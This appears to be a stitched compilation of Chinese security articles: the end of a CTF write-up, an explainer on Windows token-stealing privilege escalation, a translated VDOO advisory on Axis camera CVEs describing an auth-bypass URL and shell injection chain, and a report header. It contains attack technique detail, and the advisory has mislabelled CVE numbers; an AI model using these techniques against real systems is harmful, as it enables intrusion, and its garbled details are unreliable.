在CTF的过程中，一些机器被定期重置为初始状态，因为他们会被使用不稳定的exploit的人搞崩溃。这意味着什么？那就是每隔一段时间，就需要重新获取一次系统的访问权限，尽管你之前已经成功拿下了。
为了加快这一过程，我们匆匆拼凑了一些脚本来自动化这一过程。其中一个示例脚本如下所示：
这种做法是非常有价值的，因为它能节约宝贵的时间。
**小结**
今后，我们将继续参加DerbyCon，我们坚信它在信息安全领域质量最高的比赛之一，同时也是最值得参加的比赛之一。另外，最让人感到高兴的是，每次参加比赛，我们都有机会结交新的朋友，希望下一次参加比赛时，我们认识的新朋友中会有你！ | 社区文章 |
## 0x00
在内网渗透中令牌窃取通常用于从Administrator权限提升到System权限或者用于获取trustedinstaller等权限，令牌窃取通过Metasploit框架提供的载荷很容易实现，在学习了Windows访问控制的内容之后，可以自己实现一个令牌窃取的工具，比如
[JCTokenUtil](https://github.com/chroblert/JCTokenUtil)、[SharpToken](https://github.com/BeichenDream/SharpToken)、[incognito](https://github.com/FSecureLABS/incognito)，这篇文章是笔者学习令牌窃取的原理和实现的产出。
## 0x01 令牌列举
令牌列举就是列举本地计算机上所有的访问令牌，`NtQuerySystemInformation`API是用来检索指定的系统信息的，`NtQuerySystemInformation`API的原型如下
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
`SystemInformationClass`参数标识要检索的系统信息，它是`SYSTEM_INFORMATION_CLASS`中枚举的值之一。`SYSTEM_INFORMATION_CLASS`的原型如下
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemNextEventIdInformation,
SystemEventIdsInformation,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemPlugPlayBusInformation,
SystemDockInformation,
SystemPowerInformation,
SystemProcessorSpeedInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
当枚举值为`SystemProcessInformation`时标识要检索计算机上的所有进程信息，这时`SystemInformation`参数指向检索结果的第一个进程的`SYSTEM_PROCESS_INFORMATION`结构，`SYSTEM_PROCESS_INFORMATION`的原型如下
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
PVOID Reserved2;
ULONG HandleCount;
ULONG SessionId;
PVOID Reserved3;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG Reserved4;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage;
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;
`NumberOfThreads`成员指示进程拥有的线程数，`UniqueProcessId`成员指示进程的唯一进程ID，`HandleCount`成员指示进程拥有的句柄数，`NextEntryOffset`指示下一个`SYSTEM_PROCESS_INFORMATION`结构距离当前结构的偏移，最后一个`SYSTEM_PROCESS_INFORMATION`结构的`NextEntryOffset`成员值为0。
`SYSTEM_PROCESS_INFORMATION`结构后紧跟若干个`SYSTEM_THREAD_INFORMATION`结构表示此进程的若干个线程。
通过`NtQuerySystemInformation`API获取到计算机上所有的进程后，可以通过`DuplicateHandle`函数获取每个进程拥有的所有句柄，然后用`NtQueryObject`函数来检索句柄对应的对象类型。
`NtQueryObject`函数原型如下
__kernel_entry NTSYSCALLAPI NTSTATUS NtQueryObject(
[in, optional] HANDLE Handle, //要检索的句柄
[in] OBJECT_INFORMATION_CLASS ObjectInformationClass,
[out, optional] PVOID ObjectInformation,
[in] ULONG ObjectInformationLength,
[out, optional] PULONG ReturnLength
);
`OBJECT_INFORMATION_CLASS`是一个枚举类型，原型如下
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectTypeInformation
} OBJECT_INFORMATION_CLASS;
当指定`ObjectInformationClass`成员为`ObjectTypeInformation`枚举值时，`ObjectInformation`参数返回`PUBLIC_OBJECT_TYPE_INFORMATION`结构，`PUBLIC_OBJECT_TYPE_INFORMATION`结构原型如下
typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG Reserved [22]; // reserved for internal use
} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION;
`TypeName`成员表示对象的类型字符串，当对象是访问令牌时该值为`Token`，通过控制该值为`Token`就可以过滤出所有访问令牌的句柄。
注意的是，工具获取的是访问令牌模拟级别大于`SecurityImpersonation`模拟级别的访问令牌，通过`GetTokenInformation`函数获取访问令牌的`TokenImpersonationLevel`成员来确定访问令牌的模拟级别。
通过上面的步骤就可以获取到每个进程拥有的访问令牌句柄，但是上面检索的访问令牌不包括每个进程本身的访问令牌，所以需要再通过`OpenProcessToken`函数来获取进程本身的令牌句柄。
## 0x02 窃取令牌来执行命令
比如我们想窃取NT AUTHORITY\SYSTEM账户的令牌来执行命令，我们需要先找到NT
AUTHORITY\SYSTEM账户的令牌。这个很简单，通过`GetTokenInformation`函数获取到令牌的用户SID，然后用`LookupAccountSidA`函数将SID转换为对应的账户名即可。
找到NT
AUTHORITY\SYSTEM账户的令牌后，需要把令牌的`TokenSessionId`改为当前进程令牌的`TokenSessionId`，调用`SetTokenInformation`函数来设置即可。注意更改令牌的`TokenSessionId`需要SeTcbPrivilege特权。
最后调用`CreateProcessAsUserA`函数来执行命令，`CreateProcessAsUserA`函数的原型如下
BOOL CreateProcessAsUserA(
[in, optional] HANDLE hToken,
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
`lpCommandLine`参数传递要执行的命令，`hToken`参数传递NT AUTHORITY\SYSTEM账户的令牌。
由于更改令牌的`TokenSessionId`值需要SeTcbPrivilege特权，`CreateProcessAsUserA`函数的调用需要SE_ASSIGNPRIMARYTOKEN_NAME特权。而NT
AUTHORITY\SYSTEM账户拥有这两个特权，所以在更改令牌的`TokenSessionId`值和调用`CreateProcessAsUserA`函数之前先调用`ImpersonateLoggedOnUser`函数模拟NT
AUTHORITY\SYSTEM账户。
## 0x03 为什么低权限用户无法窃取令牌
熟悉令牌窃取的应该都知道一般普通用户是无法窃取令牌来执行命令的，这就导致令牌窃取只能用来从`Administrator`权限提升到`System`权限或`System`权限到`trustedinstaller`权限等。
出现这种情况的原因之一是普通用户无法获取到`System`、`Administrator`等账户的令牌，管理员账户获取到的令牌有730个
而普通账户获取到的令牌只有345个
我把普通账户获取到的令牌都down下来后发现此普通账户获取到的令牌用户都是其本身，没有其它账户存在。
账户能获取到多少令牌，取决于令牌的安全描述符和完整性级别是否允许账户对令牌的请求。 | 社区文章 |
# VDOO 披露 Axis 摄像头多个漏洞
|
##### 译文声明
本文是翻译文章，文章来源：blog.vdoo.com
原文地址：<https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/>
译文仅供参考，具体内容表达以及含义原文为准。
在过去的几个月里，VDOO 安全研究团队一直在物联网安防领域进行广泛的安全研究。在大多数情况下，为了提高效率和透明度，研究是和设备供应商一起进行的。
作为研究的一部分，VDOO 研究团队在多个供应商的设备中发现了 0day 漏洞。根据漏洞披露原则，这些漏洞首先向厂商披露，随后会逐步公开。
我们发现来自 Axis 的摄像头是最容易受到攻击的设备之一。我们团队在 Axis 安全摄像头中发现了一个关键漏洞链。攻击者在获得 ip
地址后利用这些漏洞能够远程控制这些摄像头（通过LAN 或者 互联网）。总的来说，VDOO 向 Axis 安全团队公开了 7 个漏洞。
这些漏洞的 CVE编号分别是： [CVE-2018-10658](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10658),
[CVE-2018-10659](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10659),
[CVE-2018-10660](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10660),
[CVE-2018-10661](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10661),
[CVE-2018-10662](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10662),
[CVE-2018-10663](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10663) 以及
[CVE-2018-10664](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10664)。
将报告中 3 个漏洞结合，未授权用户只要能够访问到登录页面，就能够完全控制这些受影响的摄像头。攻击者可以执行的操作有：
* 访问摄像头视频流
* 冻结摄像头视频流
* 控制摄像头 – 将镜头移动到需要的位置，开启/关闭 运动检测
* 将此摄像头纳入僵尸网络中
* 替换摄像头的软件
* 使用摄像头作为网络的渗透点（进行横向移动）
* 渲染无用的摄像头
* 使用摄像头执行其他恶意的任务（如 DDOS 攻击，挖矿等）
390
多个型号的摄像头受到这些漏洞影响。受影响设备清单在[这里](https://www.axis.com/files/sales/ACV-128401_Affected_Product_List.pdf)可以找到。Axis
使用 AC-128401 来标识我们发现的这些漏洞。
据我们所知，这些漏洞还没有被在野利用。因此，也就没有对 Axis 用户造成任何具体的隐私侵犯或安全威胁。
我们强烈推荐没有更新固件 Axis 用户立即更新固件或通过其他方法减低风险。请参阅下面
[FAQ](https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/#FAQ) 部分的说明。
我们也推荐其他摄像头供应商遵循文末我们的[推荐](https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/#Recommendation)来避免和缓和类似的漏洞。
## 关于 VDOO
VDOO 是一个家致力于改变无保护联网设备现状的技术驱动公司。VDOO
正在构建一系列产品，以支持制造商在开发阶段将安全性嵌入到他们的联网设备中，并支持开发后的安全。
除了开发产品和服务外，VDOO 还为联网设备广泛研究投入大量的精力。安全摄像头是本研究的一个重点领域。
VDOO 研究目标是提供知识和工具来降低风险，同时激励设备制造商在他们的产品中实现正确的安全性。我们在 VDOO
认为，适当地实现安全要点将极大地减少设备漏洞被利用的机会。
这是我们在安防领域的第二份报告。
第一份关于 Foscan 摄像头的报告，发布在[这里](https://blog.vdoo.com/2018/06/06/vdoo-has-found-major-vulnerabilities-in-foscam-cameras/)。有关我们所采用的研究方法的更多细节，在[这里](https://blog.vdoo.com/2018/06/06/behind-the-research-glass-an-insight-into-our-approach/)可以找到。
## 技术概要
摄像头运行的是 Linux 系统，中间件采用了 **Apache httpd** ，Axis 开发了专有模块。web 服务器根目录的文件访问由 Axis
自定义的授权代码控制，这段授权代码在模块 **mod_authz_axisgroupfile.so** 中。通过使用专有模块 **mod_trax.so**
,web 服务器将某些请求转发给其他进程，这些请求使用 Apache 配置文件中的特殊指令（如 **TransferMine** ）来处理。例如，以
**.shtm** 、 **.shtml** 、 **.srv** 为后缀的文件请求会转发给 /bin/ **ssid** 进程。 **ssid** 进程以
root 权限运行，处理 **.src** 的文件与 **.shtm** 和 **.shtml** 的请求不同，只有已授权的用户才能请求 **.srv**
文件。系统的一些守护进程通信是通过使用 [dbus](https://www.freedesktop.org/wiki/Software/dbus/)
进程间通信机制来实现的。此外，摄像头中有一个专用系统来管理内部参数。进程 /bin/ **parhand**
（参数处理程序）负责存储、获取、更新参数。例如，当用户通过 web 界面设置一个参数是，相关的 CGI 脚本（param.cgi）将 set-parameter 请求转发给 **parhand** 进程，该进程验证访问权限，并将参数的值存储在相应的配置文件中。一些参数以 shell
变量赋值的格式保存在配置文件末尾，然后在一些服务的启动脚本中导入（执行）。另一个有趣的进程是 /usr/sbin/
**policykit_parhand** ，它提供了policykitparhand dbus-interface，还包括有设置 **parhand**
-parameters 值的函数。
攻击者以特殊顺序利用最新发现的 7 个漏洞中的 3 个能够获取到 root 权限的 shell。
攻击流程如下：
* 第一步：攻击者使用 **授权绕过漏洞（CVE-2018-10661）** 。利用这个漏洞攻击者可以发送未授权 HTTP 请求·到 /bin/ **ssid** 中的 **.srv** 功能（处理 .srv 请求）。在正常情况下，只有授权的用户才能访问该功能。
* 第二步：攻击者使用一个不受限制（ **CVE-2018-10662** ）的接口向设备总线发送任意 dbus 消息。这个接口可从 /bin/ **ssid** 的 **.srv** 中获得。由于 /bin/ **ssid** 以 root 权限运行，这些已授权的 dbus 消息将调用系统 dbus-services 接口（否则会受到严格的授权策略的约束）。攻击者选择发送 dbus 消息到这一类的 dbus-services 接口，例如 **PoclicyKitParhand** 。它提供一个可以修改 **parhand** 参数的函数。现在攻击者具备了控制设备的 **parhand** 的参数值的能力了（见下一个漏洞）。
* 第三步：利用命令执行漏洞（ **CVE-2018-10660** ）。一些参数以 shell 变量(“Shell-Mounted”)赋值的格式保存在配置文件末尾，然后在一些服务的启动脚本中以 root 权限执行。正是由于第二步，攻击者才可以发送未授权的请求来设置参数 **parhand** 的值。通过这样做，攻击者使用带有特殊字符的参数值触发命令注入漏洞，并 root 权限执行命令。
## 技术深究
本节提供了整个攻击流程中的每个漏洞的细节。
### CVE-2018-10661 —— 认证旁路漏洞
此漏洞允许攻击者发送未通过身份验证的请求到 /bin/ **ssid** 的 **.srv** 功能来绕过 web 服务器的授权机制，而无需提供用户凭证。
漏洞出现在供应商编写的 Apache **httpd** 授权模块 **mod_authz_axisgroupfile.so** 。
正如上文提到的，摄像头使用的是 Apache httpd 服务器，以及访问 web 根目录以内的文件需要得到
**mod_authz_axisgroupfile.so** 授权模块授权。
文件根目录下只有唯一一个 **.srv** 文件 **/sm/sm.srv**
(相对路径)。授权代码用于验证经过身份验证的用户是否有足够的权限才能通过。在获得授权后，web 服务器被配置为使用特定程序处理以 **.srv** 拓展（
**.srv 处理代码** ）结束的路径请求。
问题总结，在发送请求时，如果后面接上反斜杠并以 **.srv** 后缀(例如 <http://CAMERA_IP/index.html/a.srv>
)，那么授权程序会认为是向 index.html 发送的标准请求，因此获得授权许可。而请求也会被视为对 **.srv** 路径的合法请求，因此会被
**.srv** 处理程序同时处理。
这是由于 web 服务器的一个特性，web 服务器处理跟随在实际的文件名后面的路径字符串（称为
PATH_INFO）。<https://tools.ietf.org/html/rfc3875#section-4.1.5>
当收到 <http://CAMERA_IP/index.html/a.srv> 的 HTTP 请求时，会出现以下（抽象的）逻辑。
1. 当 Apache **httpd** 解析 URI 请求时，他在请求的 **request_rec** 结构体中设置以下成员字段。
* **uri** = “/index.html/a.srv”
* **filename** = “/usr/html/index.html” # 假设 web 根目录是 /usr/html
* **path_info** = “/a.srv”
2.对 web 根目录下的文件访问由 Axis 自定义的授权代码 **so** 模块控制（由于 httpd 配置文件中的 /usr/html 目录指令中需要
axis-group-file 指令）。
自定义的权限代码执行授权验证仅基于 **request.filename** ,会忽略 **path_info** 特性的存在，因此授予
**/index.html/a.srv** 的访问权限。应为请求被认为是针对可读文件 **/usr/html/index.html**
（不需要任何身份验证）。
3.既然请求获得了授权，那么配置的 `<LocationMatch “.+.(shtml|shtm|srv)($|&)”>` 指令与 URI（我们请求的完整
uri，见上文）进行正则匹配。因为通过正则表达式匹配到的 URI 都是以 **.srv** 结尾，因此调用 **.srv 处理代码** –
“TransferMime /var/run/ssid/ssidsocket” 处理。它的功能是将请求传输到
/var/run/ssid/ssidsocket unix 套接字，以便 /bin/ssid 进程处理。
4.随后，/bin/ **ssid** 进程接收到这个请求检查其（完整的）URI，并将请求视为对 **.srv** 文件的合法请求 —— 允许请求到达
**.srv** 功能。
在 **mod_authz_axisgroupfile.so** 模块中 **axis_group_file_provider** 函数的 IDA
截图可以看到，它被注册(通过
[ap_register_auth_provider](https://ci.apache.org/projects/httpd/trunk/doxygen/group__APACHE__CORE__REQ__AUTH.html#ga61e52c5759944ff0b556c933d3678c97)
函数)为路径(受到 `Require axis-group-file` 指令限制的路径)授权提供程序。在截图的上部可以看到，
**request.filename** 用于检查文件是否可以被读取。在我们上面例子中， **request.filename** 的可读文件路径为
/usr/html/index.html。接下来程序调用参数 **group_name** 为空的
**check_user_authz_by_file_owner_gid** 函数。 当 **group_name**
为空时，后面的函数会跳过所有授权检查并授予对请求的访问权。
因此，攻击者将获得对 /bin/ssid 的 .srv 功能的未授权访问。
**POC**
为了展示能够到达 /bin/ **ssid** 的 .srv 功能，我们发送一个带有 `return_page` 参数的请求。这是用于 HTTP
重定向的一个特殊参数。 当参数值（字符串 “it_worked”）出现在响应中，我们就知道了我们已经到达了 /bin/ **ssid** 的 .srv
功能。
### CVE-2018-10662 —— .srv 功能用户不受限制的 dbus 访问
达到 /bin/ssid 的 .srv 功能的合法请求可以通过在请求的查询字符串中设置操作参数来选择其中的一个功能。其中的一个功能是 **dbus**
，它允许用户以 root（/bin/ **ssid** 进程的 uid 和 gid） 权限调用任何 dbus
请求，并且不会受到目的地或者内容的限制。由于是来自 root 进程的 dbus 请求 —— 被授权不受限制的访问许多 dbus
服务接口。之所以会这样，是因为旨在限制此类请求的授权机制 **PliocyKit** 被配置成为来自 root 的请求自动授予访问权。
查看 PolicyKit.conf 手册得知，/etc/PolicyKit/PolicyKit.conf 最初设置为 “yes” 意味着已授予权限。
虽然 /bin/ **ssid** 中 的 dbus 接口仅用于从某些特定的启用了 dbus
的服务中获取特定值，但是它暴露了更广泛的功能，从而产生了安全后果。
例如，该接口允许用户控制设备 **parhand** 参数的任意值。可以通过发送 **dbus** 请求来调用 **policykit_parhand**
进程的 dbus-interface (PolicyKitParhand)函数来实现。这个接口提供了可由 root dbus-client 调用的
**SetParameter** 和 **SynchParameter** 方法。通过在执行 **SynchParameter** 后面的
**SetParameter** ，用户可以设置任意的 **parhand** 参数值并应用更改。
**POC**
摄像头的 **parhand** 参数值 Image.I0.Overlay.Enabled 用来控制是否在视频上方显示图片。例如，我们利用这个漏洞把它的值从
“no” 改为 “yes”。
在存在此漏洞的摄像头上运行这些命令后，视频的左上方会叠加一张图片（默认是 Axis 的小标志）。可以登录到 web 界面查看：
### CVE-2018-1066 —— shell 命令注入漏洞
需要有修改参数 **parhand** 的权限才能利用这个漏洞。这可以通过以下几步实现：
1. 获得/拥有管理员权限（通过使用 cgi 接口）
2. 在 **upnp** 守护进程中执行代码
3. 找到其他方法来控制 **parhand** 参数 —— CVE-2018-10662 在直接调用 policykit_parhand 函数的示例中实现了这一点(见上文)。
**parhand** 参数处理程序负责获取、存储、更改设备的许多内部参数。当用户通过 web 界面设置参数时，相关的 CGI 脚本（param.cgi）
转发设置参数请求到二进制文件 **parhand** ,它检查访问权限，并将参数值保存在相关的配置文件中。
一些参数用于提供 shell 脚本，并被定义为 shell 挂载（在 **parhand** 配置文件中 mount =“shell()”）。参数值由
**parhand** shell 解析器解析，它不清理特殊的 shell 字符，也不引用参数值。其中的一些参数（例如，我们使用的
**Time.DEST.Enable** ）以 shell 赋值的格式（例如，FOO=Bar）保存在配置（例如，
**/etc/sysconfig/openntpd.conf** ）文件末尾。之后，shell 初始化脚本（例如， **parhand-systemctl
restart time-source.service** ），它们作为设置命令的结果运行，该命令在为参数应用新值时执行 —— 通过 sync 命令。
shell 脚本直接执行配置文件（目的是包含配置参数），并且通过使用分号(“;”)设置参数值，使我们能够以 root 权限注入任意命令。
这个漏洞的关键因素在于:
* 解析 shell 环境中输入值时缺乏过滤
* 设备使用了一个过时的方法，使用 shell 脚本去是设置参数并将它们以 shell 赋值的方式存贮在文件中，然后执行这些文件。
请注意这些参数不仅能够通过摄像头的 **upnp** 守护进程设置。如果攻击者恰巧有能力在 UPnP 守护进程中执行代码，也能利用这个漏洞来提升权限。
**POC**
在可能的选择之外，我们选择使用需要管理员凭证的 **param.cgi** 接口来触发这个漏洞。我们注入 **id**
命令，它可以通过标准输出打印出当前用户的用户和组信息。在我们的示例中，标准输出被重定向到了系统日志。
POC 的验证效果 —— 执行这些命令之后，我们以管理员权限登录摄像头的接口查看系统日志（[http://CAMERA_IP/axis-cgi/admin/systemlog.cgi），我能够在其中看到](http://CAMERA_IP/axis-cgi/admin/systemlog.cgi%EF%BC%89%EF%BC%8C%E6%88%91%E8%83%BD%E5%A4%9F%E5%9C%A8%E5%85%B6%E4%B8%AD%E7%9C%8B%E5%88%B0)
**id** 命令的输出（末行的 **uid** 和 **gid** ）。
## 其他漏洞
这一节中介绍的是在上面攻击中没有使用到的四个漏洞的细节。
### CVE-2018-10664 —— 使 httpd 进程崩溃
这个漏洞允许未授权的攻击者击崩 httpd 进程 —— 导致（至少）使用默认配置的用户通过 web 界面查看到的视频界面为黑屏状态。
在触发这个漏洞后，系统日志会出现以下一行（接下来是崩溃转储）。
[ ERR ] kernel: [ 2819.017996] httpd: httpd: potentially unexpected fatal signal 11.
**POC**
这个漏洞通过向 **.cgi** 脚本 URL 发送带有 **PATH_INFO** 参数并以 **.srv** 拓展结束的 HTTP 请求触发。
### CVE-2018-10663 —— /bin/ssid 进程信息泄露漏洞
这个漏洞不需要任何用户凭证。用户控制着在 /bin/ **ssid** 的 **.srv** 功能中的查询字符 **return_page** 和
**servermanager_return_page** 。当在响应构建代码处理时 —— 这些字段的值被缩减为 0x200 字节，并通过使用安全的
**__snprintf_chk** 函数复制到已分配的 0x200 字节的空间。然后 **__snprintf_chk**
函数的返回值(假设它们的长度)保存在结构体成员变量中，以便以后计算响应的内容长度。
__snprintf_chk 的返回值保存在结构体成员变量的 IDA 截图（部分）
**_snprint_chk** 函数的返回值的问题在于，“The number of characters that would have been
written if n had been sufficiently large…”（摘自 sprintf
的手册）。这导致计算出来的内容的长度大于实际数据的大小，因此，内存中额外的字节会泄露在响应中。
**POC**
仔细观察返回值末尾的变化。额外的符号和字符是泄漏的字节，这些字节与内存中的响应缓冲区相邻。
### CVE-2018-10658 —— 使 /bin/ssid 进程崩溃
这个漏洞不需要任何用户凭证。未认证的用户能够发送带有特殊的字符 dbus 请求致使 **ssid** 服务崩溃。崩溃源于 **libbus-send.so** 共享对象或相似的代码中。它生成的日志如下：
[ INFO ] ssid[2334]: process 2334: arguments to dbus_message_new_method_call()
were incorrect, assertion “iface == NULL || _dbus_check_is_valid_interface
(iface)” failed in file ../../dbus-1.10.14/dbus/dbus-message.c line 1373.
程序崩溃同样出现在直接调用带有相似字符的 “/usr/bin/ **dbus-send** “ 时。他可能还影响到包含这些代码其他进程。值得注意的是
/bin/ **ssid** 进程将会重启。
**POC**
### CVE-2018-10658 —— 使 /bin/ssid 进程崩溃
未授权用户可以发送（通过 /bin/ **ssid .srv** 接口）特殊构造的命令，该命令将调用 **UND** undefined ARM
指令（MIPS 或者其他架构的摄像头可能也有类似的情况），这样导致进程崩溃。值得注意的是 /bin/ **ssid** 进程将会重启。
在触发这个漏洞以后会出现以下的日志：
[ ERR ] kernel: [ 2390.374778] ssid: ssid: potentially unexpected fatal signal 11.
这个漏洞不需要任何的用户凭证。
**POC**
## 给设备制造商的建议
我们想谈谈在本研究中分析的摄像机中发现的一些糟糕的架构，它们使得攻击者更容易发现和利用漏洞。我们鼓励设备制造商考虑以下建议。
* **缺乏特权分离：** 这违反了特权分离的概念([https://en.wikipedia.org/wiki/Privilege_separation)，它规定程序应该被分成若干部分](https://en.wikipedia.org/wiki/Privilege_separation\)%EF%BC%8C%E5%AE%83%E8%A7%84%E5%AE%9A%E7%A8%8B%E5%BA%8F%E5%BA%94%E8%AF%A5%E8%A2%AB%E5%88%86%E6%88%90%E8%8B%A5%E5%B9%B2%E9%83%A8%E5%88%86) —— 每个部分都限制在它自己需要的特权中。虽然系统中的每个进程都作为 rot 权限运行 —— 任何系统进程中的代码执行漏洞都将导致攻击者提升到 root 权限。另一方面，如果使用高权限的程序越少，攻击者将不得不在一组受限制的进程中发现漏洞，以升级特权。这是一项更困难的任务。
* 例如，在 **CVE-2018-10662** 中 /bin/ **ssid** 有一个不受限制的 dbus 接口 —— 这将允许攻击者调用 dbus 服务函数。如果这个进程没有以 root 权限运行，那么 dbus 授权策略将不允许调用许多 dbus 特权服务函数。但是正由于 /bin/ **ssid** 以 root 权限运行，所有的 dbus 函数都在没有授权限制的情况下暴露给了攻击者。
* **缺乏适当的输入过滤：** 当从外部接口接收输入时，输入应该过滤掉具有潜在威胁的字符。这可以阻止 **CVE-2018-10660** —— shell 的特殊字符不会被绕过。
* **最小化 shell 脚本的使用：** 不鼓励将用户输入的参数作为 shell 脚本使用。这将导致 **CVE-2018-10660** 。另外一个需要注意的 —— 替代直接执行 dbus 命令 —— 可以使用 parhand 结构（结合 dbus 和 getters 命令）。
* **缺乏二进制固件加密：** 固件加密会让安全上一个台阶，攻击者更难分析出固件中的漏洞，特别是使用二进制 diffing 方法比较最新的和以前的固件发现和分析补丁 —— 通过这种方法，发现之前版本存在的漏洞。此外，设备包含带有函数名等符号的二进制。这有助与理解代码是如何运行的。另一方面，值得注意的是如果对固件内容采用 _隐藏式安全_ , 固件被正确的加密，那么找到并修复漏洞就变得不那么容易。供应商应该仔细权衡这个问题。
## 感谢
我们要感谢 Axis 安全团队高效、及时地处理这些安全问题，以及他们专业的沟通能力。
## 荣誉
Or Peles (@peles_o), VDOO
## FAQ 部分
### Q1. 我如何知道我的设备是否易受到攻击？
为了验证你的设备是否存在这些漏洞 —— 你需要检查 [ACV-128401
受影响设备列表](https://www.axis.com/files/sales/ACV-128401_Affected_Product_List.pdf)。如果摄像头的固件版本低于
ACV-128401 受影响设备列表中公布的版本，那么你的设备是存在漏洞的。我们强烈建议立即更新固件。去检查你正在使用的设备的固件版本，你可以按照以下几步：
1. 使用浏览器访问摄像头。
2. 输入用户名和密码。
3. 点击 “System” -> “Option” -> “Support” -> “System Overview”。
4. 查看固件版本。
如果你有多个设备，那么使用 Axis 设备管理器软件或通过 Axis VAPIX API 以编程方式获取固件版本可能更值得(请参阅 [VAPIX
官方文档](https://www.axis.com/files/manuals/vapix_parameter_management_52931_en_1307.pdf)中的
2.2 节)。
### Q2. 如何判断的设备是否已遭受攻击？
你的设备被攻破的几率非常低，因为在发布的时候没有已知的恶意软件利用这些漏洞。
由于物联网恶意软件通常被精心设计以不被发现，所以没有简单的方法可以确定。任何对设备的可疑更改都可能表明您的设备上存在僵尸网络恶意软件。
几种检查的方法：
1. **你的密码是否可用** （不是应为你忘记了密码） —— 这是你的设备已经被接管的强烈信号。
2. **你设备的设置被修改** —— 例如，视频被发送到了另外一个服务器。
3. **网络流量激增** —— 如果可能的话，检查路由器网络统计信息。僵尸网络会增加来自摄像头的网络流量。任何流量尖峰都应该提醒你，因为除非你从摄像头上观看视频，否则这个数值应该相对较低。
### Q3. 如果已经被攻击，那么有什么建议吗？
在发布时，我们没有发现任何恶意软件滥用这些漏洞。如果您怀疑您的摄像头被攻破，请将摄像头恢复到出厂设置。这样做会将配置恢复到默认设置，允许您连接和升级固件。请记住，如果您使用的固件易受
VDOO
检测到的漏洞的影响，那么该设备可能会成为被攻击的目标，并可能很快再次受到感染。因此，在重新设置设备后，请确保在把摄像头直连到互联网之前执行固件升级。
### Q4. 如果我不能更新相机的固件，如何降低风险?
为了减少摄像头远程管理能力被暴露，建议将设备放置在防火墙屏蔽端口 80 和 443
(或摄像头配置中指定的端口)的后面，并且不允许摄像头启动任何出站连接。另一种选择是将设备放在反向代理的后面，该代理阻止我们用于漏洞利用的 URLs
(详细信息见上文)。如果需要其他帮助，请联系[email protected]。
### Q5. 如何更新摄像头的固件？
升级到最新固件，你可以使用 Axis 设备管理器，摄像头的 web 界面或者 FTP。在 <https://www.axis.com/en-in/support/tecnical-notes/how-to-upgrade> 页面查看厂商关于固件更新的说明。
原文：[VDOO Discovers Significant Vulnerabilities in Axis Cameras
](https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/)
审核人：yiwang 编辑：少爷 | 社区文章 |
# 2017年度安全报告 — 平台漏洞
##### 译文声明
本文是翻译文章，文章来源：cert.360.cn
原文地址：<https://cert.360.cn/static/files/2017%E5%B9%B4%E5%BA%A6%E5%AE%89%E5%85%A8%E6%8A%A5%E5%91%8A--%E5%B9%B3%E5%8F%B0%E6%BC%8F%E6%B4%9E.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
